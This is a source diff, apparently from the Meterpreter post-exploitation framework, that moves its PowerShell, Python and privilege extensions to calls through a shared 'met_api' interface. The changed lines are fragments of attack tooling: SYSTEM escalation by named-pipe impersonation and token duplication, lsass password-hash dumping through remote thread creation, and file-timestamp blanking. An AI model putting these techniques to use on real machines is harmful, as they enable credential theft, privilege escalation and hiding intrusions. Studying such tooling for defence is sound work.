DWORD result = met_api->channel.write(channel, remote, NULL, 0, (PUCHAR)(char*)shell->output, byteCount, NULL);
shell->output = "";
ResetEvent(shell->wait_handle);
lock_release(shell->buffer_lock);
met_api->lock.release(shell->buffer_lock);
dprintf("[PSH SHELL] write completed");
}
@ -474,11 +475,11 @@ DWORD powershell_channel_interact_destroy(HANDLE waitable, LPVOID entryContext,
if (shell->wait_handle)
{
HANDLE h = shell->wait_handle;
lock_acquire(shell->buffer_lock);
met_api->lock.acquire(shell->buffer_lock);
unchannelise_session(shell->session_id);
shell->wait_handle = NULL;
lock_release(shell->buffer_lock);
lock_destroy(shell->buffer_lock);
met_api->lock.release(shell->buffer_lock);
met_api->lock.destroy(shell->buffer_lock);
CloseHandle(h);
}
return ERROR_SUCCESS;
@ -494,9 +495,9 @@ DWORD powershell_channel_interact(Channel *channel, Packet *request, LPVOID cont
{
dprintf("[PSH SHELL] beginning interaction");
shell->wait_handle = CreateEventA(NULL, FALSE, FALSE, NULL);
shell->buffer_lock = lock_create();
shell->buffer_lock = met_api->lock.create();
result = scheduler_insert_waitable(shell->wait_handle, channel, context,
result = met_api->scheduler.insert_waitable(shell->wait_handle, channel, context,
powershell_channel_interact_notify, powershell_channel_interact_destroy);
channelise_session(shell->session_id, channel, context);
@ -507,7 +508,7 @@ DWORD powershell_channel_interact(Channel *channel, Packet *request, LPVOID cont
else if (shell->wait_handle != NULL)
{
dprintf("[PSH SHELL] stopping interaction");
result = scheduler_signal_waitable(shell->wait_handle, Stop);
result = met_api->scheduler.signal_waitable(shell->wait_handle, SchedulerStop);
}
return result;
@ -526,10 +527,10 @@ DWORD powershell_channel_write(Channel* channel, Packet* request, LPVOID context
DWORD result = invoke_ps_command(shell->session_id, codeMarshall, output);
if (result == ERROR_SUCCESS && shell->wait_handle)
{
lock_acquire(shell->buffer_lock);
met_api->lock.acquire(shell->buffer_lock);
shell->output += output;
SetEvent(shell->wait_handle);
lock_release(shell->buffer_lock);
met_api->lock.release(shell->buffer_lock);
}
return result;
}
@ -542,10 +543,10 @@ void powershell_channel_streamwrite(__int64 rawContext, __int64 rawMessage)
if (shell->wait_handle)
{
lock_acquire(shell->buffer_lock);
met_api->lock.acquire(shell->buffer_lock);
shell->output += message;
SetEvent(shell->wait_handle);
lock_release(shell->buffer_lock);
met_api->lock.release(shell->buffer_lock);
}
}
@ -716,7 +717,7 @@ DWORD unchannelise_session(wchar_t* sessionId)
DWORD request_powershell_shell(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet* response = packet_create_response(packet);
Packet* response = met_api->packet.create_response(packet);
InteractiveShell* shell = NULL;
if (response)
@ -732,7 +733,7 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet)
dwResult = ERROR_OUTOFMEMORY;
break;
}
shell->session_id = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
shell->session_id = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
if (shell->session_id != NULL)
{
@ -748,13 +749,13 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet)
chanOps.native.write = powershell_channel_write;
chanOps.native.interact = powershell_channel_interact;
shell->output = "PS > ";
Channel* newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chanOps);
Channel* newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chanOps);
channel_set_type(newChannel, "psh");
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
met_api->channel.set_type(newChannel, "psh");
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel));
} while (0);
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
if (dwResult != ERROR_SUCCESS)
@ -774,23 +775,23 @@ DWORD request_powershell_shell(Remote *remote, Packet *packet)
DWORD request_powershell_execute(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet* response = packet_create_response(packet);
Packet* response = met_api->packet.create_response(packet);
wchar_t* sessionId = NULL;
if (response)
{
char* code = packet_get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE);
char* code = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE);
if (code != NULL)
{
_bstr_t codeMarshall(code);
_bstr_t output;
sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
sessionId = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
dwResult = invoke_ps_command(sessionId, codeMarshall, output);
if (dwResult == ERROR_SUCCESS)
{
packet_add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output);
met_api->packet.add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output);
}
}
else
@ -798,7 +799,7 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet)
dprintf("[PSH] Code parameter missing from call");
dwResult = ERROR_INVALID_PARAMETER;
}
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
SAFE_FREE(sessionId);
@ -815,15 +816,15 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet)
DWORD request_powershell_assembly_load(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet* response = packet_create_response(packet);
Packet* response = met_api->packet.create_response(packet);
wchar_t* sessionId = NULL;
if (response)
{
BYTE* binary = packet_get_tlv_value_raw(packet, TLV_TYPE_POWERSHELL_ASSEMBLY);
BYTE* binary = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_POWERSHELL_ASSEMBLY);
if (binary != NULL)
{
DWORD binarySize = packet_get_tlv_value_uint(packet, TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE);
DWORD binarySize = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE);
dwResult = load_assembly(binary, binarySize);
}
else
@ -831,7 +832,7 @@ DWORD request_powershell_assembly_load(Remote *remote, Packet *packet)
dprintf("[PSH] Assembly parameter missing from call");
dwResult = ERROR_INVALID_PARAMETER;
}
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
SAFE_FREE(sessionId);
@ -848,16 +849,16 @@ DWORD request_powershell_assembly_load(Remote *remote, Packet *packet)
DWORD request_powershell_session_remove(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet* response = packet_create_response(packet);
Packet* response = met_api->packet.create_response(packet);
wchar_t* sessionId = NULL;
if (response)
{
sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
sessionId = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
dwResult = remove_session(sessionId);
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
SAFE_FREE(sessionId);

View File

@ -3,6 +3,7 @@
* @brief Definitions for SYSTEM privilege escalation.
*/
#include "precomp.h"
#include "common_metapi.h"
#include "namedpipe.h"
#include "tokendup.h"
@ -74,11 +75,11 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
do
{
response = packet_create_response( packet );
response = met_api->packet.create_response( packet );
if( !response )
BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE );
BREAK_WITH_ERROR( "[ELEVATE] get_system. met_api->packet.create_response failed", ERROR_INVALID_HANDLE );
dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE );
dwTechnique = met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE );
dprintf( "[ELEVATE] Technique requested (%u)", dwTechnique );
if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE ) {
@ -108,8 +109,8 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
if( response )
{
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE );
packet_transmit_response( dwResult, remote, response );
met_api->packet.add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE );
met_api->packet.transmit_response( dwResult, remote, response );
}
return dwResult;

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
#include "namedpipe.h"
#include "service.h"
@ -42,7 +43,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
}
while (TRUE) {
if (event_poll(thread->sigterm, 0)) {
if (met_api->event.poll(thread->sigterm, 0)) {
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. thread->sigterm received",
ERROR_DBG_TERMINATE_THREAD);
}
@ -80,7 +81,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
// now we can set the meterpreters thread token to that of our system
// token so all subsequent meterpreter threads will use this token.
core_update_thread_token(remote, hToken);
met_api->thread.update_token(remote, hToken);
dwResult = ERROR_SUCCESS;
@ -129,7 +130,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
}
cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
cpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
if (!cpServiceName) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments",
ERROR_BAD_ARGUMENTS);
@ -142,14 +143,14 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);
hSem = CreateSemaphore(NULL, 0, 1, NULL);
pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
if (!pThread) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed",
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed",
ERROR_INVALID_HANDLE);
}
if (!thread_run(pThread)) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed",
if (!met_api->thread.run(pThread)) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.run failed",
ERROR_ACCESS_DENIED);
}
@ -176,10 +177,10 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
}
// signal our thread to terminate if it is still running
thread_sigterm(pThread);
met_api->thread.sigterm(pThread);
// and wait for it to terminate...
thread_join(pThread);
met_api->thread.join(pThread);
// get the exit code for our pthread
dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
@ -197,7 +198,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
}
if (pThread) {
thread_destroy(pThread);
met_api->thread.destroy(pThread);
}
if (hSem) {
CloseHandle(hSem);
@ -232,9 +233,9 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
do
{
cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
dwServiceLength = packet_get_tlv_value_uint(packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH);
lpServiceBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_DLL);
cpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
dwServiceLength = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH);
lpServiceBuffer = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_DLL);
if (!cpServiceName || !dwServiceLength || !lpServiceBuffer) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. invalid arguments",
@ -278,14 +279,14 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
}
hSem = CreateSemaphore(NULL, 0, 1, NULL);
pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
if (!pThread) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. thread_create failed",
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed",
ERROR_INVALID_HANDLE);
}
if (!thread_run(pThread)) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. thread_create failed",
if (!met_api->thread.run(pThread)) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed",
ERROR_ACCESS_DENIED);
}
@ -311,9 +312,9 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
WaitForSingleObject(pThread->handle, 10000);
thread_sigterm(pThread);
met_api->thread.sigterm(pThread);
thread_join(pThread);
met_api->thread.join(pThread);
// get the exit code for our pthread
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
@ -339,7 +340,7 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
}
if (pThread) {
thread_destroy(pThread);
met_api->thread.destroy(pThread);
}
if (hSem) {

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
#include "tokendup.h"
#include "../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
@ -89,9 +90,9 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT )
cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );
cpServiceName = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
dwServiceLength = met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
lpServiceBuffer = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );
if( !dwServiceLength || !lpServiceBuffer )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS );
@ -173,7 +174,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) )
{
core_update_thread_token( remote, hTokenDup );
met_api->thread.update_token( remote, hTokenDup );
dwResult = ERROR_SUCCESS;
break;
}

View File

@ -1,5 +1,5 @@
#include "precomp.h"
#include "common_metapi.h"
#include <windows.h>
#include <stdio.h>
#include "defs.h"
@ -72,7 +72,7 @@ HANDLE FileOpen(char *filename)
return NULL;
}
wchar_t *name = utf8_to_wchar(filename);
wchar_t *name = met_api->string.utf8_to_wchar(filename);
if (name == NULL) {
return NULL;
}
@ -235,8 +235,8 @@ int SetDirectoryTimesRecursive(wchar_t *directory, SYSTEMTIME time, int depth)
DWORD request_fs_get_file_mace(Remote *remote, Packet *packet)
{
SYSTEMTIME lt;
Packet *response = packet_create_response(packet);
HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
Packet *response = met_api->packet.create_response(packet);
HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
if (file == NULL) {
SetLastError(ERROR_INVALID_PARAMETER);
@ -263,7 +263,7 @@ DWORD request_fs_get_file_mace(Remote *remote, Packet *packet)
if (LargeIntegerToSystemTime(&lt, *fields[i].ft) == 0) {
SystemTimeToEpochTime(&lt, &epoch);
packet_add_tlv_uint(response, fields[i].tlv, (UINT)epoch);
met_api->packet.add_tlv_uint(response, fields[i].tlv, (UINT)epoch);
}
}
@ -271,15 +271,15 @@ DWORD request_fs_get_file_mace(Remote *remote, Packet *packet)
err:
FileClose(file);
packet_transmit_response(GetLastError(), remote, response);
met_api->packet.transmit_response(GetLastError(), remote, response);
return ERROR_SUCCESS;
}
DWORD request_fs_set_file_mace(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
if (!file) {
SetLastError(ERROR_INVALID_PARAMETER);
goto out;
@ -300,7 +300,7 @@ DWORD request_fs_set_file_mace(Remote *remote, Packet *packet)
{ &fbi.ChangeTime, TLV_TYPE_FS_FILE_EMODIFIED },
};
for (int i = 0; i < 4; i++) {
time_t epoch = packet_get_tlv_value_uint(packet, (TlvType)fields[i].tlv);
time_t epoch = met_api->packet.get_tlv_value_uint(packet, (TlvType)fields[i].tlv);
if (epoch) {
SYSTEMTIME st;
EpochTimeToSystemTime(epoch, &st);
@ -316,16 +316,16 @@ DWORD request_fs_set_file_mace(Remote *remote, Packet *packet)
out:
FileClose(file);
packet_transmit_response(GetLastError(), remote, response);
met_api->packet.transmit_response(GetLastError(), remote, response);
return ERROR_SUCCESS;
}
DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
HANDLE tgtFile = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
HANDLE srcFile = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH));
HANDLE tgtFile = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
HANDLE srcFile = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH));
if (tgtFile == NULL || srcFile == NULL) {
goto out;
}
@ -353,7 +353,7 @@ out:
FileClose(srcFile);
FileClose(tgtFile);
packet_transmit_response(GetLastError(), remote, response);
met_api->packet.transmit_response(GetLastError(), remote, response);
return ERROR_SUCCESS;
}
@ -370,9 +370,9 @@ static SYSTEMTIME epoch = {
DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
if (!file) {
SetLastError(ERROR_INVALID_PARAMETER);
goto out;
@ -386,14 +386,14 @@ DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet)
out:
FileClose(file);
packet_transmit_response(GetLastError(), remote, response);
met_api->packet.transmit_response(GetLastError(), remote, response);
return ERROR_SUCCESS;
}
DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
wchar_t *filePath = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
Packet *response = met_api->packet.create_response(packet);
wchar_t *filePath = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
if (filePath == NULL) {
SetLastError(ERROR_INVALID_PARAMETER);
@ -408,6 +408,6 @@ DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet)
out:
free(filePath);
packet_transmit_response(GetLastError(), remote, response);
met_api->packet.transmit_response(GetLastError(), remote, response);
return ERROR_SUCCESS;
}

View File

@ -3,6 +3,7 @@
* @brief Functionality for dumping password hashes from lsass.exe.
*/
#include "precomp.h"
#include "common_metapi.h"
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
@ -776,7 +777,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
sBytesWritten = 0;
/* start the remote thread */
if ((hThreadHandle = create_remote_thread(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL)
if ((hThreadHandle = met_api->thread.create_remote(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL)
{
dwError = GetLastError();
dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError);
@ -970,7 +971,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
*/
DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD res = ERROR_SUCCESS;
char *hashes = NULL;
@ -983,11 +984,11 @@ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
break;
}
packet_add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes);
met_api->packet.add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes);
} while (0);
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
if (hashes)
{

View File

@ -6,9 +6,7 @@
#include "./elevate/elevate.h"
#include "passwd.h"
#include "fs.h"
#include "../../../common//arch/win/remote_thread.h"
#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h"
#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"

View File

@ -2,15 +2,13 @@
* @brief This module implements privilege escalation features.
*/
#include "precomp.h"
#include "common_metapi.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
/*!
* @brief `priv` extension dispatch table.
*/
@ -28,16 +26,17 @@ Command customCommands[] =
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
{
hMetSrv = remote->met_srv;
met_api = api;
command_register_all(customCommands);
met_api->command.register_all(customCommands);
return ERROR_SUCCESS;
return ERROR_SUCCESS;
}
/*!
@ -45,13 +44,14 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote)
{
command_deregister_all(customCommands);
met_api->command.deregister_all(customCommands);
return ERROR_SUCCESS;
return ERROR_SUCCESS;
}
/*!
* @brief Get the name of the extension.
* @param buffer Pointer to the buffer to write the name to.

View File

@ -8,6 +8,7 @@
#include "python_commands.h"
#include "python_meterpreter_binding.h"
#include "Resource Files/python_core.rh"
#include "common_metapi.h"
///! @brief Struct that contains pointer to init function and name.
typedef struct _InitFunc
@ -155,7 +156,7 @@ static PyObject* handle_write(LIST* target, PyObject* self, PyObject* args)
dprintf("[PYTHON] something written to %p: %s", target, written);
if (target != NULL)
{
list_add(target, strdup(written));
met_api->list.add(target, strdup(written));
}
}
else
@ -198,23 +199,23 @@ static PyMethodDef meterpreter_stderr_hooks[] =
static VOID dump_to_packet(LIST* source, Packet* packet, UINT tlvType)
{
lock_acquire(source->lock);
met_api->lock.acquire(source->lock);
PNODE current = source->start;
while (current != NULL)
{
packet_add_tlv_string(packet, tlvType, (LPCSTR)current->data);
met_api->packet.add_tlv_string(packet, tlvType, (LPCSTR)current->data);
current = current->next;
}
lock_release(source->lock);
met_api->lock.release(source->lock);
}
VOID clear_std_handler(LIST* source)
{
dprintf("[PYTHON] clearing list %p", source);
list_clear(source, free);
met_api->list.clear(source, free);
dprintf("[PYTHON] cleared list %p", source);
}
@ -223,11 +224,11 @@ VOID initialize_std_handlers()
dprintf("[PYTHON] initializing handlers");
if (stderrBuffer == NULL)
{
stderrBuffer = list_create();
stderrBuffer = met_api->list.create();
}
if (stdoutBuffer == NULL)
{
stdoutBuffer = list_create();
stdoutBuffer = met_api->list.create();
}
dprintf("[PYTHON] initialized handlers");
}
@ -236,10 +237,10 @@ VOID destroy_std_handlers()
{
dprintf("[PYTHON] destroying handlers");
clear_std_handler(stderrBuffer);
list_destroy(stderrBuffer);
met_api->list.destroy(stderrBuffer);
stderrBuffer = NULL;
clear_std_handler(stdoutBuffer);
list_destroy(stdoutBuffer);
met_api->list.destroy(stdoutBuffer);
stdoutBuffer = NULL;
dprintf("[PYTHON] destroyed handlers");
}
@ -405,7 +406,7 @@ DWORD request_python_reset(Remote* remote, Packet* packet)
Py_Finalize();
Py_Initialize();
python_prepare_session();
packet_transmit_empty_response(remote, packet, ERROR_SUCCESS);
met_api->packet.transmit_empty_response(remote, packet, ERROR_SUCCESS);
return ERROR_SUCCESS;
}
@ -460,12 +461,12 @@ VOID python_execute(CHAR* modName, LPBYTE pythonCode, DWORD codeLength, UINT cod
if (PyString_Check(result))
{
// result is already a string
packet_add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(result));
met_api->packet.add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(result));
}
else
{
PyObject* resultStr = PyObject_Str(result);
packet_add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(resultStr));
met_api->packet.add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(resultStr));
Py_DECREF(resultStr);
}
}
@ -482,18 +483,18 @@ VOID python_execute(CHAR* modName, LPBYTE pythonCode, DWORD codeLength, UINT cod
DWORD request_python_execute(Remote* remote, Packet* packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet* response = packet_create_response(packet);
LPBYTE pythonCode = packet_get_tlv_value_raw(packet, TLV_TYPE_EXTENSION_PYTHON_CODE);
Packet* response = met_api->packet.create_response(packet);
LPBYTE pythonCode = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXTENSION_PYTHON_CODE);
PyObject* mainModule = PyImport_AddModule("__main__");
PyObject* mainDict = PyModule_GetDict(mainModule);
if (pythonCode != NULL)
{
UINT codeType = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE);
CHAR* modName = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME);
UINT pythonCodeLength = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN);
CHAR* resultVar = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR);
UINT codeType = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE);
CHAR* modName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME);
UINT pythonCodeLength = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN);
CHAR* resultVar = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR);
python_execute(modName, pythonCode, pythonCodeLength, codeType, resultVar, response);
dump_to_packet(stderrBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDERR);
@ -501,7 +502,7 @@ DWORD request_python_execute(Remote* remote, Packet* packet)
dump_to_packet(stdoutBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDOUT);
clear_std_handler(stdoutBuffer);
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
return dwResult;

View File

@ -2,12 +2,12 @@
* @file python_main.c
* @brief Entry point and intialisation definitions for the python extension.
*/
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
@ -20,9 +20,6 @@ extern BOOL WINAPI CtypesDllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpv
Remote* gRemote = NULL;
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
/*! @brief List of commands that the extended API extension providers. */
Command customCommands[] =
{
@ -67,12 +64,15 @@ VOID __declspec(dllexport) CommandAdded(const char* commandName)
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
{
hMetSrv = remote->met_srv;
met_api = api;
met_api->command.register_all(customCommands);
gRemote = remote;
dprintf("[PYTHON] Initialising");
